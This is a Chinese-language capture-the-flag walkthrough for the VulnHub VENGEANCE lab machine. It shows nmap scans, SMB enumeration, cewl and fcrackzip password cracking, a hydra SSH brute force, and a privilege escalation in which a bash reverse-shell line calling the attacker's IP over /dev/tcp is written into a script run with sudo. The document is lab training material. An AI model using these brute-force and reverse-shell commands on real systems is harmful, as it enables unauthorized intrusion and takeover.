准备:

攻击机：虚拟机kali、本机win10.

靶机：digitalworld.local: VENGEANCE，下载地址：https://download.vulnhub.com/digitalworld/VENGEANCE.7z，下载后直接vm打开即可.

知识点：dns解析、smb服务信息收集、cewl爬取密码字典、fcrackzip爆破、python简单脚本编写、hydra爆破、pspy64信息收集.

信息收集:

通过nmap扫描下网段内的存活主机地址，确定下靶机的地址：nmap -sn 192.168.5.0/24，获得靶机地址：192.168.5.160.

扫描下端口对应的服务：nmap -T4 -sV -p- -A 192.168.5.160，显示开放了80、139、143、22222等端口，开启了http服务、ssh服务等服务.

                        
                          Host is up (0.0011s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE  SERVICE      VERSION
7/tcp     closed echo
22/tcp    closed ssh
80/tcp    open   http         nginx 1.18.0 (Ubuntu)
|_auth-owners: www-data
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: VENGEANCE – Confessions of a girl who has been cornered ...
88/tcp    closed kerberos-sec
110/tcp   open   pop3
| fingerprint-strings: 
|   LDAPSearchReq: 
|     +OK Dovecot (Ubuntu) ready.
|     -ERR Unknown command.
|_    -ERR Unknown command.
|_auth-owners: dovenull
|_pop3-capabilities: RESP-CODES AUTH-RESP-CODE PIPELINING SASL TOP CAPA STLS UIDL
113/tcp   open   ident?
|_auth-owners: root
139/tcp   open   netbios-ssn  Samba smbd 4.6.2
|_auth-owners: root
143/tcp   open   imap         Dovecot imapd (Ubuntu)
|_imap-capabilities: LOGIN-REFERRALS STARTTLS IDLE have OK listed LITERAL+ capabilities ID post-login Pre-login LOGINDISABLEDA0001 IMAP4rev1 more SASL-IR ENABLE
|_auth-owners: dovenull
161/tcp   closed snmp
389/tcp   closed ldap
443/tcp   open   ssl/http     nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg: 
|   h2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=VENGEANCE/organizationName=Good Tech Inc/stateOrProvinceName=Singapore/countryName=SG
| Not valid before: 2021-02-14T02:40:28
|_Not valid after:  2022-02-14T02:40:28
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_auth-owners: www-data
| tls-alpn: 
|   h2
|_  http/1.1
|_http-title: 400 The plain HTTP request was sent to HTTPS port
445/tcp   open   netbios-ssn  Samba smbd 4.6.2
|_auth-owners: root
993/tcp   open   imaps?
995/tcp   open   pop3s?
1337/tcp  closed waste
2049/tcp  closed nfs
6000/tcp  closed X11
8080/tcp  closed http-proxy
22222/tcp open   ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 32:eb:05:fa:d3:75:45:5e:c7:72:fb:03:aa:05:b7:d7 (RSA)
|   256 40:16:f8:d1:f1:06:e5:aa:13:44:28:ed:e0:55:ef:34 (ECDSA)
|_  256 52:78:15:c2:3b:a1:90:20:3a:b1:d6:75:93:72:d8:f8 (ED25519)
|_auth-owners: root
54321/tcp closed unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port110-TCP:V=7.92%I=7%D=2/3%Time=63DC649B%P=x86_64-pc-linux-gnu%r(LDAP
SF:SearchReq,4B,"\+OK\x20Dovecot\x20\(Ubuntu\)\x20ready\.\r\n-ERR\x20Unkno
SF:wn\x20command\.\r\n-ERR\x20Unknown\x20command\.\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-02-03T01:34:24
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 225.23 seconds
                        
                      

访问其web界面发现一个搜索框，点击之后跳转到：http://vengeance.goodtech.inc/?s=1，因此需要进行dns解析，win：打开C:\Windows\System32\drivers\etc\hosts文件，kali：打开/etc/hosts文件，添加：192.168.5.160 vengeance.goodtech.inc。之后再次访问并进行简单的注入测试，但是未成功.

smb信息收集:

使用enum4linux对靶机进行扫描，发现部分目录信息和用户信息，目录信息：sarapublic、print，用户信息：sara、qinyi.

访问sarapublic目录信息，发现eaurouge.txt、essay.txt、gio.zip等文件，将文件下载到本地，一次访问文件信息，但是未发现可疑利用得信息.

在进行解压gio.zip文件时需要密码才行，尝试对密码进行爆破，但是未爆破成功.

cewl生成字典：

利用cewl爬取几个文件信息生成密码本，命令：cewl 192.168.5.150:8000/profile.txt >> passwd.

利用生成得密码本使用fcrackzip再次对gio.zip文件进行爆破，命令：fcrackzip -D -p /home/kali/Desktop/passwd -u gio.zip，成功获得密码：nanotechnological，使用获得密码：nanotechnological对gio.zip文件进行解压，获得：pass_reminder.txt 、ted_talk.pptx 、tryharder.png文件.

读取pass_reminder.txt文件，查看密码提示信息：name_corner_circuit（姓名_转角_线路），访问ted_talk.pptx，在其中一次发现：Giovanni Berlusconi、130R、Suzuka.

获取shell:

根据获得密码组成信息：Giovanni Berlusconi、130R、Suzuka，使用python脚本生成密码字典.

                        
                          names = ['Giovanni Berlusconi','giovanni Berlusconi','giovanni','Giovanni']
corners = ['130R','130r']
circuits = ['Suzuka','suzuka']
for name in names:
    passwd_n = name + '_'
    for corner in corners:
        passwd_co = passwd_n + corner + '_'
        for circuit in circuits:
            passwd_ci = passwd_co + circuit
            print(passwd_ci)
            passwd_ci = ''
                        
                      

使用前面获得的账户：sara、qinyi和生成的密码字典使用hydra进行爆破，命令：hydra -L user -P passwd ssh://192.168.5.160:22222，成功获得正确的账户 和密码信息：qinyi/giovanni_130R_Suzuka.

 使用获得账户和密码信息：qinyi/giovanni_130R_Suzuka，进行ssh登录，成功获得shell权限.

提权:

查看下当前账户是否存在可以使用的特权命令，sudo -l，发现：/bin/systemctl、/home/sara/private/eaurouge，但是无查看和执行权限.

上传pspy64文件并执行进行信息收集，发现开启69端口.

使用nmap对69端口进行扫描，发现开启开启了tftp服务，连接tftp服务，命令：tftp 192.168.5.160，下载eaurouge文件并访问该文件。发现该文件是一个shell脚本，因此在脚本中添加shell反弹语句：bash -i >&/dev/tcp/192.168.5.150/6688 0>&1.

在kali中开启对6688端口的监听，然后在shell中执行/home/sara/private/eaurouge文件，成功获得root权限，并在root目录下发现proof.txt文件，读取该文件获得flag值.

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